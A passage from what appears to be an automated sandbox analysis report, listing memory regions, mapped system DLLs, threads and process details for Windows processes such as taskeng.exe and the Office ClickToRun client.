end_va = 0xd9ffff entry_point = 0x0 region_type = private name = "private_0x0000000000d20000" filename = "" Region: id = 1117 start_va = 0x7fefd480000 end_va = 0x7fefd496fff entry_point = 0x7fefd480000 region_type = mapped_file name = "cryptsp.dll" filename = "\\Windows\\System32\\cryptsp.dll" (normalized: "c:\\windows\\system32\\cryptsp.dll") Region: id = 1118 start_va = 0x7fefda80000 end_va = 0x7fefda8efff entry_point = 0x7fefda80000 region_type = mapped_file name = "cryptbase.dll" filename = "\\Windows\\System32\\cryptbase.dll" (normalized: "c:\\windows\\system32\\cryptbase.dll") Region: id = 1119 start_va = 0x7feff0e0000 end_va = 0x7feff1bafff entry_point = 0x7feff0e0000 region_type = mapped_file name = "advapi32.dll" filename = "\\Windows\\System32\\advapi32.dll" (normalized: "c:\\windows\\system32\\advapi32.dll") Region: id = 1120 start_va = 0x7feff1c0000 end_va = 0x7feff1defff entry_point = 0x7feff1c0000 region_type = mapped_file name = "sechost.dll" filename = "\\Windows\\System32\\sechost.dll" (normalized: "c:\\windows\\system32\\sechost.dll") Region: id = 1121 start_va = 0x7fffffda000 end_va = 0x7fffffdbfff entry_point = 0x0 region_type = private name = "private_0x000007fffffda000" filename = "" Region: id = 1122 start_va = 0x7fefd180000 end_va = 0x7fefd1c6fff entry_point = 0x7fefd180000 region_type = mapped_file name = "rsaenh.dll" filename = "\\Windows\\System32\\rsaenh.dll" (normalized: "c:\\windows\\system32\\rsaenh.dll") Region: id = 1123 start_va = 0x80000 end_va = 0x80fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000080000" filename = "" Region: id = 1124 start_va = 0xdd0000 end_va = 0xe4ffff entry_point = 0x0 region_type = private name = "private_0x0000000000dd0000" filename = "" Region: id = 1125 start_va = 0xe50000 end_va = 0xf4ffff entry_point = 0x0 region_type = private name = "private_0x0000000000e50000" filename = "" Region: id = 1126 start_va = 0xfe0000 end_va = 0x105ffff entry_point = 0x0 region_type = private name = "private_0x0000000000fe0000" filename = "" Region: id = 1127 start_va = 0x1060000 end_va = 0x132efff entry_point = 0x1060000 region_type = mapped_file name = "sortdefault.nls" filename = "\\Windows\\Globalization\\Sorting\\SortDefault.nls" (normalized: "c:\\windows\\globalization\\sorting\\sortdefault.nls") Region: id = 1128 start_va = 0x13a0000 end_va = 0x141ffff entry_point = 0x0 region_type = private name = "private_0x00000000013a0000" filename = "" Region: id = 1129 start_va = 0x14f0000 end_va = 0x156ffff entry_point = 0x0 region_type = private name = "private_0x00000000014f0000" filename = "" Region: id = 1130 start_va = 0x7fef8120000 end_va = 0x7fef8128fff entry_point = 0x7fef8120000 region_type = mapped_file name = "tschannel.dll" filename = "\\Windows\\System32\\TSChannel.dll" (normalized: "c:\\windows\\system32\\tschannel.dll") Region: id = 1131 start_va = 0x7fefda50000 end_va = 0x7fefda74fff entry_point = 0x7fefda50000 region_type = mapped_file name = "sspicli.dll" filename = "\\Windows\\System32\\sspicli.dll" (normalized: "c:\\windows\\system32\\sspicli.dll") Region: id = 1132 start_va = 0x7fefdb70000 end_va = 0x7fefdb83fff entry_point = 0x7fefdb70000 region_type = mapped_file name = "rpcrtremote.dll" filename = "\\Windows\\System32\\RpcRtRemote.dll" (normalized: "c:\\windows\\system32\\rpcrtremote.dll") Region: id = 1133 start_va = 0x7feff640000 end_va = 0x7feff6b0fff entry_point = 0x7feff640000 region_type = mapped_file name = "shlwapi.dll" filename = "\\Windows\\System32\\shlwapi.dll" (normalized: "c:\\windows\\system32\\shlwapi.dll") Region: id = 1134 start_va = 0x7feff9a0000 end_va = 0x7feffa38fff entry_point = 0x7feff9a0000 region_type = mapped_file name = "clbcatq.dll" filename = "\\Windows\\System32\\clbcatq.dll" (normalized: "c:\\windows\\system32\\clbcatq.dll") Region: id = 1135 start_va = 0x7fffffae000 end_va = 0x7fffffaffff entry_point = 0x0 region_type = private name = "private_0x000007fffffae000" filename = "" Region: id = 1136 start_va = 0x7fffffd4000 end_va = 0x7fffffd5fff entry_point = 0x0 region_type = private name = "private_0x000007fffffd4000" filename = "" Region: id = 1137 start_va = 0x7fffffd6000 end_va = 0x7fffffd7fff entry_point = 0x0 region_type = private name = "private_0x000007fffffd6000" filename = "" Region: id = 1138 start_va = 0x7fffffd8000 end_va = 0x7fffffd9fff entry_point = 0x0 region_type = private name = "private_0x000007fffffd8000" filename = "" Thread: id = 93 os_tid = 0xbf8 Thread: id = 94 os_tid = 0xbfc Thread: id = 95 os_tid = 0x82c Thread: id = 96 os_tid = 0x488 Thread: id = 97 os_tid = 0x56c Thread: id = 98 os_tid = 0x5e8 Thread: id = 99 os_tid = 0x5ec Thread: id = 100 os_tid = 0x504 Process: id = "8" image_name = "taskeng.exe" filename = "c:\\windows\\system32\\taskeng.exe" page_root = "0x597a000" os_pid = "0x850" os_integrity_level = "0x2000" os_privileges = "0x800000" monitor_reason = "child_process" parent_id = "6" os_parent_pid = "0x36c" cmd_line = "taskeng.exe {AE294675-9745-492B-BE4E-812B04D502A6} S-1-5-21-2345716840-1148442690-1481144037-1000:YKYD69Q\\aETAdzjz:Interactive:LUA[1]" cur_dir = "C:\\Windows\\system32\\" os_username = "YKYD69Q\\aETAdzjz" os_groups = "YKYD69Q\\Domain Users" [0x7], "Everyone" [0x7], "BUILTIN\\Administrators" [0x10], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000e662" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Region: id = 1139 start_va = 0x10000 end_va = 0x2ffff entry_point = 0x0 region_type = private name = "private_0x0000000000010000" filename = "" Region: id = 1140 start_va = 0x30000 end_va = 0x33fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000030000" filename = "" Region: id = 1141 start_va = 0x40000 end_va = 0x40fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000040000" filename = "" Region: id = 1142 start_va = 0x1b0000 end_va = 0x22ffff entry_point = 0x0 region_type = private name = "private_0x00000000001b0000" filename = "" Region: id = 1143 start_va = 0x77c40000 end_va = 0x77de8fff entry_point = 0x77c40000 region_type = mapped_file name = "ntdll.dll" filename = "\\Windows\\System32\\ntdll.dll" (normalized: "c:\\windows\\system32\\ntdll.dll") Region: id = 1144 start_va = 0x7efe0000 end_va = 0x7ffdffff entry_point = 0x0 region_type = private name = "private_0x000000007efe0000" filename = "" Region: id = 1145 start_va = 0x7ffe0000 end_va = 0x7ffeffff entry_point = 0x0 region_type = private name = "private_0x000000007ffe0000" filename = "" Region: id = 1146 start_va = 0xff2b0000 end_va = 0xff323fff entry_point = 0xff2b0000 region_type = mapped_file name = "taskeng.exe" filename = "\\Windows\\System32\\taskeng.exe" (normalized: "c:\\windows\\system32\\taskeng.exe") Region: id = 1147 start_va = 0x7fefff60000 end_va = 0x7fefff60fff entry_point = 0x7fefff60000 region_type = mapped_file name = "apisetschema.dll" filename = "\\Windows\\System32\\apisetschema.dll" (normalized: "c:\\windows\\system32\\apisetschema.dll") Region: id = 1148 start_va = 0x7fffffb0000 end_va = 0x7fffffd2fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000007fffffb0000" filename = "" Region: id = 1149 start_va = 0x7fffffdd000 end_va = 0x7fffffdefff entry_point = 0x0 region_type = private name = "private_0x000007fffffdd000" filename = "" Region: id = 1150 start_va = 0x7fffffdf000 end_va = 0x7fffffdffff entry_point = 0x0 region_type = private name = "private_0x000007fffffdf000" filename = "" Region: id = 1151 start_va = 0x10000 end_va = 0x1ffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000010000" filename = "" Region: id = 1152 start_va = 0xb0000 end_va = 0x1affff entry_point = 0x0 region_type = private name = "private_0x00000000000b0000" filename = "" Region: id = 1153 start_va = 0x230000 end_va = 0x296fff entry_point = 0x230000 region_type = mapped_file name = "locale.nls" filename = "\\Windows\\System32\\locale.nls" (normalized: "c:\\windows\\system32\\locale.nls") Region: id = 1154 start_va = 0x77b20000 end_va = 0x77c3efff entry_point = 0x77b20000 region_type = mapped_file name = "kernel32.dll" filename = "\\Windows\\System32\\kernel32.dll" (normalized: "c:\\windows\\system32\\kernel32.dll") Region: id = 1155 start_va = 0x7efe0000 end_va = 0x7f0dffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000007efe0000" filename = "" Region: id = 1156 start_va = 0x7f0e0000 end_va = 0x7ffdffff entry_point = 0x0 region_type = private name = "private_0x000000007f0e0000" filename = "" Region: id = 1157 start_va = 0x7fefdd60000 end_va = 0x7fefddcafff entry_point = 0x7fefdd60000 region_type = mapped_file name = "kernelbase.dll" filename = "\\Windows\\System32\\KernelBase.dll" (normalized: "c:\\windows\\system32\\kernelbase.dll") Region: id = 1182 start_va = 0x20000 end_va = 0x26fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000020000" filename = "" Region: id = 1183 start_va = 0x50000 end_va = 0x51fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000050000" filename = "" Region: id = 1184 start_va = 0x60000 end_va = 0x60fff entry_point = 0x0 region_type = private name = "private_0x0000000000060000" filename = "" Region: id = 1185 start_va = 0x70000 end_va = 0x7ffff entry_point = 0x0 region_type = private name = "private_0x0000000000070000" filename = "" Region: id = 1186 start_va = 0x80000 end_va = 0x80fff entry_point = 0x0 region_type = private name = "private_0x0000000000080000" filename = "" Region: id = 1187 start_va = 0x90000 end_va = 0x90fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000090000" filename = "" Region: id = 1188 start_va = 0x2a0000 end_va = 0x39ffff entry_point = 0x0 region_type = private name = "private_0x00000000002a0000" filename = "" Region: id = 1189 start_va = 0x3a0000 end_va = 0x527fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000003a0000" filename = "" Region: id = 1190 start_va = 0x530000 end_va = 0x6b0fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000530000" filename = "" Region: id = 1191 start_va = 0x6c0000 end_va = 0x1abffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006c0000" filename = "" Region: id = 1192 start_va = 0x1ac0000 end_va = 0x1eb2fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000001ac0000" filename = "" Region: id = 1193 start_va = 0x1fb0000 end_va = 0x202ffff entry_point = 0x0 region_type = private name = "private_0x0000000001fb0000" filename = "" Region: id = 1194 start_va = 0x2030000 end_va = 0x20affff entry_point = 0x0 region_type = private name = "private_0x0000000002030000" filename = "" Region: id = 1195 start_va = 0x2110000 end_va = 0x218ffff entry_point = 0x0 region_type = private name = "private_0x0000000002110000" filename = "" Region: id = 1196 start_va = 0x21a0000 end_va = 0x221ffff entry_point = 0x0 region_type = private name = "private_0x00000000021a0000" filename = "" Region: id = 1197 start_va = 0x2220000 end_va = 0x231ffff entry_point = 0x0 region_type = private name = "private_0x0000000002220000" filename = "" Region: id = 1198 start_va = 0x23d0000 end_va = 0x244ffff entry_point = 0x0 region_type = private name = "private_0x00000000023d0000" filename = "" Region: id = 1199 start_va = 0x2450000 end_va = 0x271efff entry_point = 0x2450000 region_type = mapped_file name = "sortdefault.nls" filename = "\\Windows\\Globalization\\Sorting\\SortDefault.nls" (normalized: "c:\\windows\\globalization\\sorting\\sortdefault.nls") Region: id = 1200 start_va = 0x27d0000 end_va = 0x284ffff entry_point = 0x0 region_type = private name = "private_0x00000000027d0000" filename = "" Region: id = 1201 start_va = 0x77a20000 end_va = 0x77b19fff entry_point = 0x77a20000 region_type = mapped_file name = "user32.dll" filename = "\\Windows\\System32\\user32.dll" (normalized: "c:\\windows\\system32\\user32.dll") Region: id = 1202 start_va = 0x7fef8120000 end_va = 0x7fef8128fff entry_point = 0x7fef8120000 region_type = mapped_file name = "tschannel.dll" filename = "\\Windows\\System32\\TSChannel.dll" (normalized: "c:\\windows\\system32\\tschannel.dll") Region: id = 1203 start_va = 0x7fef9440000 end_va = 0x7fef9449fff entry_point = 0x7fef9440000 region_type = mapped_file name = "ktmw32.dll" filename = "\\Windows\\System32\\ktmw32.dll" (normalized: "c:\\windows\\system32\\ktmw32.dll") Region: id = 1204 start_va = 0x7fefd180000 end_va = 0x7fefd1c6fff entry_point = 0x7fefd180000 region_type = mapped_file name = "rsaenh.dll" filename = "\\Windows\\System32\\rsaenh.dll" (normalized: "c:\\windows\\system32\\rsaenh.dll") Region: id = 1205 start_va = 0x7fefd480000 end_va = 0x7fefd496fff entry_point = 0x7fefd480000 region_type = mapped_file name = "cryptsp.dll" filename = "\\Windows\\System32\\cryptsp.dll" (normalized: "c:\\windows\\system32\\cryptsp.dll") Region: id = 1206 start_va = 0x7fefd6b0000 end_va = 0x7fefd71cfff entry_point = 0x7fefd6b0000 region_type = mapped_file name = "wevtapi.dll" filename = "\\Windows\\System32\\wevtapi.dll" (normalized: "c:\\windows\\system32\\wevtapi.dll") Region: id = 1207 start_va = 0x7fefda50000 end_va = 0x7fefda74fff entry_point = 0x7fefda50000 region_type = mapped_file name = "sspicli.dll" filename = "\\Windows\\System32\\sspicli.dll" (normalized: "c:\\windows\\system32\\sspicli.dll") Region: id = 1208 start_va = 0x7fefda80000 end_va = 0x7fefda8efff entry_point = 0x7fefda80000 region_type = mapped_file name = "cryptbase.dll" filename = "\\Windows\\System32\\cryptbase.dll" (normalized: "c:\\windows\\system32\\cryptbase.dll") Region: id = 1209 start_va = 0x7fefdb70000 end_va = 0x7fefdb83fff entry_point = 0x7fefdb70000 region_type = mapped_file name = "rpcrtremote.dll" filename = "\\Windows\\System32\\RpcRtRemote.dll" (normalized: "c:\\windows\\system32\\rpcrtremote.dll") Region: id = 1210 start_va = 0x7fefdf60000 end_va = 0x7fefdfc6fff entry_point = 0x7fefdf60000 region_type = mapped_file name = "gdi32.dll" filename = "\\Windows\\System32\\gdi32.dll" (normalized: "c:\\windows\\system32\\gdi32.dll") Region: id = 1211 start_va = 0x7fefed60000 end_va = 0x7fefed8dfff entry_point = 0x7fefed60000 region_type = mapped_file name = "imm32.dll" filename = "\\Windows\\System32\\imm32.dll" (normalized: "c:\\windows\\system32\\imm32.dll") Region: id = 1212 start_va = 0x7feff0e0000 end_va = 0x7feff1bafff entry_point = 0x7feff0e0000 region_type = mapped_file name = "advapi32.dll" filename = "\\Windows\\System32\\advapi32.dll" (normalized: "c:\\windows\\system32\\advapi32.dll") Region: id = 1213 start_va = 0x7feff1c0000 end_va = 0x7feff1defff entry_point = 0x7feff1c0000 region_type = mapped_file name = "sechost.dll" filename = "\\Windows\\System32\\sechost.dll" (normalized: "c:\\windows\\system32\\sechost.dll") Region: id = 1214 start_va = 0x7feff1e0000 end_va = 0x7feff2e8fff entry_point = 0x7feff1e0000 region_type = mapped_file name = "msctf.dll" filename = "\\Windows\\System32\\msctf.dll" (normalized: "c:\\windows\\system32\\msctf.dll") Region: id = 1215 start_va = 0x7feff4d0000 end_va = 0x7feff598fff entry_point = 0x7feff4d0000 region_type = mapped_file name = "usp10.dll" filename = "\\Windows\\System32\\usp10.dll" (normalized: "c:\\windows\\system32\\usp10.dll") Region: id = 1216 start_va = 0x7feff5a0000 end_va = 0x7feff63efff entry_point = 0x7feff5a0000 region_type = mapped_file name = "msvcrt.dll" filename = "\\Windows\\System32\\msvcrt.dll" (normalized: "c:\\windows\\system32\\msvcrt.dll") Region: id = 1217 start_va = 0x7feff640000 end_va = 0x7feff6b0fff entry_point = 0x7feff640000 region_type = mapped_file name = "shlwapi.dll" filename = "\\Windows\\System32\\shlwapi.dll" (normalized: "c:\\windows\\system32\\shlwapi.dll") Region: id = 1218 start_va = 0x7feff860000 end_va = 0x7feff86dfff entry_point = 0x7feff860000 region_type = mapped_file name = "lpk.dll" filename = "\\Windows\\System32\\lpk.dll" (normalized: "c:\\windows\\system32\\lpk.dll") Region: id = 1219 start_va = 0x7feff9a0000 end_va = 0x7feffa38fff entry_point = 0x7feff9a0000 region_type = mapped_file name = "clbcatq.dll" filename = "\\Windows\\System32\\clbcatq.dll" (normalized: "c:\\windows\\system32\\clbcatq.dll") Region: id = 1220 start_va = 0x7feffa40000 end_va = 0x7feffc42fff entry_point = 0x7feffa40000 region_type = mapped_file name = "ole32.dll" filename = "\\Windows\\System32\\ole32.dll" (normalized: "c:\\windows\\system32\\ole32.dll") Region: id = 1221 start_va = 0x7feffc50000 end_va = 0x7feffd7cfff entry_point = 0x7feffc50000 region_type = mapped_file name = "rpcrt4.dll" filename = "\\Windows\\System32\\rpcrt4.dll" (normalized: "c:\\windows\\system32\\rpcrt4.dll") Region: id = 1222 start_va = 0x7feffd80000 end_va = 0x7feffe56fff entry_point = 0x7feffd80000 region_type = mapped_file name = "oleaut32.dll" filename = "\\Windows\\System32\\oleaut32.dll" (normalized: "c:\\windows\\system32\\oleaut32.dll") Region: id = 1223 start_va = 0x7fffffd3000 end_va = 0x7fffffd4fff entry_point = 0x0 region_type = private name = "private_0x000007fffffd3000" filename = "" Region: id = 1224 start_va = 0x7fffffd5000 end_va = 0x7fffffd6fff entry_point = 0x0 region_type = private name = "private_0x000007fffffd5000" filename = "" Region: id = 1225 start_va = 0x7fffffd7000 end_va = 0x7fffffd8fff entry_point = 0x0 region_type = private name = "private_0x000007fffffd7000" filename = "" Region: id = 1226 start_va = 0x7fffffd9000 end_va = 0x7fffffdafff entry_point = 0x0 region_type = private name = "private_0x000007fffffd9000" filename = "" Region: id = 1227 start_va = 0x7fffffdb000 end_va = 0x7fffffdcfff entry_point = 0x0 region_type = private name = "private_0x000007fffffdb000" filename = "" Region: id = 1228 start_va = 0x1ec0000 end_va = 0x1f9efff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000001ec0000" filename = "" Region: id = 1229 start_va = 0x2910000 end_va = 0x298ffff entry_point = 0x0 region_type = private name = "private_0x0000000002910000" filename = "" Region: id = 1230 start_va = 0x7fefc080000 end_va = 0x7fefc097fff entry_point = 0x7fefc080000 region_type = mapped_file name = "dwmapi.dll" filename = "\\Windows\\System32\\dwmapi.dll" (normalized: "c:\\windows\\system32\\dwmapi.dll") Region: id = 1231 start_va = 0x7fefc4b0000 end_va = 0x7fefc505fff entry_point = 0x7fefc4b0000 region_type = mapped_file name = "uxtheme.dll" filename = "\\Windows\\System32\\uxtheme.dll" (normalized: "c:\\windows\\system32\\uxtheme.dll") Region: id = 1332 start_va = 0x2a00000 end_va = 0x2a7ffff entry_point = 0x0 region_type = private name = "private_0x0000000002a00000" filename = "" Region: id = 1333 start_va = 0x2ab0000 end_va = 0x2b2ffff entry_point = 0x0 region_type = private name = "private_0x0000000002ab0000" filename = "" Region: id = 1334 start_va = 0x2b40000 end_va = 0x2bbffff entry_point = 0x0 region_type = private name = "private_0x0000000002b40000" filename = "" Region: id = 1335 start_va = 0x7fefc040000 end_va = 0x7fefc074fff entry_point = 0x7fefc040000 region_type = mapped_file name = "xmllite.dll" filename = "\\Windows\\System32\\xmllite.dll" (normalized: "c:\\windows\\system32\\xmllite.dll") Region: id = 1336 start_va = 0x7fefdfd0000 end_va = 0x7fefed57fff entry_point = 0x7fefdfd0000 region_type = mapped_file name = "shell32.dll" filename = "\\Windows\\System32\\shell32.dll" (normalized: "c:\\windows\\system32\\shell32.dll") Region: id = 1337 start_va = 0x7fffffaa000 end_va = 0x7fffffabfff entry_point = 0x0 region_type = private name = "private_0x000007fffffaa000" filename = "" Region: id = 1338 start_va = 0x7fffffac000 end_va = 0x7fffffadfff entry_point = 0x0 region_type = private name = "private_0x000007fffffac000" filename = "" Region: id = 1339 start_va = 0x7fffffae000 end_va = 0x7fffffaffff entry_point = 0x0 region_type = private name = "private_0x000007fffffae000" filename = "" Region: id = 1417 start_va = 0xa0000 end_va = 0xa1fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000000a0000" filename = "" Region: id = 1418 start_va = 0x7fefc690000 end_va = 0x7fefc883fff entry_point = 0x7fefc690000 region_type = mapped_file name = "comctl32.dll" filename = "\\Windows\\winsxs\\amd64_microsoft.windows.common-controls_6595b64144ccf1df_6.0.7601.17514_none_fa396087175ac9ac\\comctl32.dll" (normalized: "c:\\windows\\winsxs\\amd64_microsoft.windows.common-controls_6595b64144ccf1df_6.0.7601.17514_none_fa396087175ac9ac\\comctl32.dll") Region: id = 1419 start_va = 0x20b0000 end_va = 0x20b1fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000020b0000" filename = "" Region: id = 1420 start_va = 0x7fefc510000 end_va = 0x7fefc63bfff entry_point = 0x7fefc510000 region_type = mapped_file name = "propsys.dll" filename = "\\Windows\\System32\\propsys.dll" (normalized: "c:\\windows\\system32\\propsys.dll") Thread: id = 102 os_tid = 0x854 Thread: id = 103 os_tid = 0x86c Thread: id = 104 os_tid = 0x83c Thread: id = 107 os_tid = 0x880 Thread: id = 108 os_tid = 0x87c Thread: id = 109 os_tid = 0x878 Thread: id = 110 os_tid = 0x8a4 Thread: id = 111 os_tid = 0x8b4 Thread: id = 119 os_tid = 0x418 Thread: id = 127 os_tid = 0x8c4 Thread: id = 313 os_tid = 0x978 Thread: id = 314 os_tid = 0xab4 Process: id = "9" image_name = "officec2rclient.exe" filename = "c:\\program files\\common files\\microsoft shared\\clicktorun\\officec2rclient.exe" page_root = "0x22d31000" os_pid = "0x838" os_integrity_level = "0x4000" os_privileges = "0xe60b1e890" monitor_reason = "child_process" parent_id = "7" os_parent_pid = "0xbf4" cmd_line = "\"C:\\Program Files\\Common Files\\Microsoft Shared\\ClickToRun\\OfficeC2RClient.exe\" /WatchService" cur_dir = "C:\\Windows\\system32\\" os_username = "NT AUTHORITY\\SYSTEM" os_groups = "Everyone" [0x7], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\SERVICE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT SERVICE\\BDESVC" [0xa], "NT SERVICE\\BITS" [0xe], "NT SERVICE\\CertPropSvc" [0xa], "NT SERVICE\\EapHost" [0xa], "NT SERVICE\\hkmsvc" [0xa], "NT SERVICE\\IKEEXT" [0xa], "NT SERVICE\\iphlpsvc" [0xe], "NT SERVICE\\LanmanServer" [0xe], "NT SERVICE\\MMCSS" [0xe], "NT SERVICE\\MSiSCSI" [0xa], "NT SERVICE\\RasAuto" [0xa], "NT SERVICE\\RasMan" [0xa], "NT SERVICE\\RemoteAccess" [0xa], "NT SERVICE\\Schedule" [0xe], "NT SERVICE\\SCPolicySvc" [0xa], "NT SERVICE\\SENS" [0xe], "NT SERVICE\\SessionEnv" [0xa], "NT SERVICE\\SharedAccess" [0xa], "NT SERVICE\\ShellHWDetection" [0xe], "NT SERVICE\\wercplsupport" [0xa], "NT SERVICE\\Winmgmt" [0xe], "NT SERVICE\\wuauserv" [0xe], "NT AUTHORITY\\Logon Session 00000000:0000d435" [0xc0000007], "LOCAL" [0x7], "BUILTIN\\Administrators" [0xe] Region: id = 1158 start_va = 0x10000 end_va = 0x2ffff entry_point = 0x0 region_type = private name = "private_0x0000000000010000" filename = "" Region: id = 1159 start_va = 0x30000 end_va = 0x33fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000030000" filename = "" Region: id = 1160 start_va = 0x40000 end_va = 0x40fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000040000" filename = "" Region: id = 1161 start_va = 0xf0000 end_va = 0x1effff entry_point = 0x0 region_type = private name = "private_0x00000000000f0000" filename = "" Region: id = 1162 start_va = 0x77c40000 end_va = 0x77de8fff entry_point = 0x77c40000 region_type = mapped_file name = "ntdll.dll" filename = "\\Windows\\System32\\ntdll.dll" (normalized: "c:\\windows\\system32\\ntdll.dll") Region: id = 1163 start_va = 0x7efe0000 end_va = 0x7ffdffff entry_point = 0x0 region_type = private name = "private_0x000000007efe0000" filename = "" Region: id = 1164 start_va = 0x7ffe0000 end_va = 0x7ffeffff entry_point = 0x0 region_type = private name = "private_0x000000007ffe0000" filename = "" Region: id = 1165 start_va = 0x13fb60000 end_va = 0x140ba2fff entry_point = 0x13fb60000 region_type = mapped_file name = "officec2rclient.exe" filename = "\\Program Files\\Common Files\\Microsoft Shared\\ClickToRun\\OfficeC2RClient.exe" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\officec2rclient.exe") Region: id = 1166 start_va = 0x7fefff60000 end_va = 0x7fefff60fff entry_point = 0x7fefff60000 region_type = mapped_file name = "apisetschema.dll" filename = "\\Windows\\System32\\apisetschema.dll" (normalized: "c:\\windows\\system32\\apisetschema.dll") Region: id = 1167 start_va = 0x7fffffb0000 end_va = 0x7fffffd2fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000007fffffb0000" filename = "" Region: id = 1168 start_va = 0x7fffffdb000 end_va = 0x7fffffdbfff entry_point = 0x0 region_type = private name = "private_0x000007fffffdb000" filename = "" Region: id = 1169 start_va = 0x7fffffde000 end_va = 0x7fffffdffff entry_point = 0x0 region_type = private name = "private_0x000007fffffde000" filename = "" Region: id = 1254 start_va = 0x10000 end_va = 0x1ffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000010000" filename = "" Region: id = 1255 start_va = 0x50000 end_va = 0xb6fff entry_point = 0x50000 region_type = mapped_file name = "locale.nls" filename = "\\Windows\\System32\\locale.nls" (normalized: "c:\\windows\\system32\\locale.nls") Region: id = 1256 start_va = 0x330000 end_va = 0x42ffff entry_point = 0x0 region_type = private name = "private_0x0000000000330000" filename = "" Region: id = 1257 start_va = 0x77b20000 end_va = 0x77c3efff entry_point = 0x77b20000 region_type = mapped_file name = "kernel32.dll" filename = "\\Windows\\System32\\kernel32.dll" (normalized: "c:\\windows\\system32\\kernel32.dll") Region: id = 1258 start_va = 0x7efe0000 end_va = 0x7f0dffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000007efe0000" filename = "" Region: id = 1259 start_va = 0x7f0e0000 end_va = 0x7ffdffff entry_point = 0x0 region_type = private name = "private_0x000000007f0e0000" filename = "" Region: id = 1260 start_va = 0x7fefdd60000 end_va = 0x7fefddcafff entry_point = 0x7fefdd60000 region_type = mapped_file name = "kernelbase.dll" filename = "\\Windows\\System32\\KernelBase.dll" (normalized: "c:\\windows\\system32\\kernelbase.dll") Region: id = 1615 start_va = 0x1f0000 end_va = 0x2effff entry_point = 0x0 region_type = private name = "private_0x00000000001f0000" filename = "" Region: id = 1616 start_va = 0x5b0000 end_va = 0x5bffff entry_point = 0x0 region_type = private name = "private_0x00000000005b0000" filename = "" Region: id = 1617 start_va = 0x77a20000 end_va = 0x77b19fff entry_point = 0x77a20000 region_type = mapped_file name = "user32.dll" filename = "\\Windows\\System32\\user32.dll" (normalized: "c:\\windows\\system32\\user32.dll") Region: id = 1618 start_va = 0x7fef35a0000 end_va = 0x7fef35c6fff entry_point = 0x7fef35a0000 region_type = mapped_file name = "sppc.dll" filename = "\\Windows\\System32\\sppc.dll" (normalized: "c:\\windows\\system32\\sppc.dll") Region: id = 1619 start_va = 0x7fef7a40000 end_va = 0x7fef7ab5fff entry_point = 0x7fef7a40000 region_type = mapped_file name = "apiclient.dll" filename = "\\Program Files\\Common Files\\Microsoft Shared\\ClickToRun\\ApiClient.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\apiclient.dll") Region: id = 1620 start_va = 0x7fef7b00000 end_va = 0x7fef7b02fff entry_point = 0x7fef7b00000 region_type = mapped_file name = "api-ms-win-crt-utility-l1-1-0.dll" filename = "\\Program Files\\Common Files\\Microsoft Shared\\ClickToRun\\api-ms-win-crt-utility-l1-1-0.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-crt-utility-l1-1-0.dll") Region: id = 1621 start_va = 0x7fef7b10000 end_va = 0x7fef7b12fff entry_point = 0x7fef7b10000 region_type = mapped_file name = "api-ms-win-crt-environment-l1-1-0.dll" filename = "\\Program Files\\Common Files\\Microsoft Shared\\ClickToRun\\api-ms-win-crt-environment-l1-1-0.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-crt-environment-l1-1-0.dll") Region: id = 1622 start_va = 0x7fef7b20000 end_va = 0x7fef7b22fff entry_point = 0x7fef7b20000 region_type = mapped_file name = "api-ms-win-crt-filesystem-l1-1-0.dll" filename = "\\Program Files\\Common Files\\Microsoft Shared\\ClickToRun\\api-ms-win-crt-filesystem-l1-1-0.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-crt-filesystem-l1-1-0.dll") Region: id = 1623 start_va = 0x7fef7b30000 end_va = 0x7fef7b32fff entry_point = 0x7fef7b30000 region_type = mapped_file name = "api-ms-win-crt-time-l1-1-0.dll" filename = "\\Program Files\\Common Files\\Microsoft Shared\\ClickToRun\\api-ms-win-crt-time-l1-1-0.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-crt-time-l1-1-0.dll") Region: id = 1624 start_va = 0x7fef7b40000 end_va = 0x7fef7b44fff entry_point = 0x7fef7b40000 region_type = mapped_file name = "api-ms-win-crt-multibyte-l1-1-0.dll" filename = "\\Program Files\\Common Files\\Microsoft Shared\\ClickToRun\\api-ms-win-crt-multibyte-l1-1-0.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-crt-multibyte-l1-1-0.dll") Region: id = 1625 start_va = 0x7fef7b50000 end_va = 0x7fef7b54fff entry_point = 0x7fef7b50000 region_type = mapped_file name = "api-ms-win-crt-math-l1-1-0.dll" filename = "\\Program Files\\Common 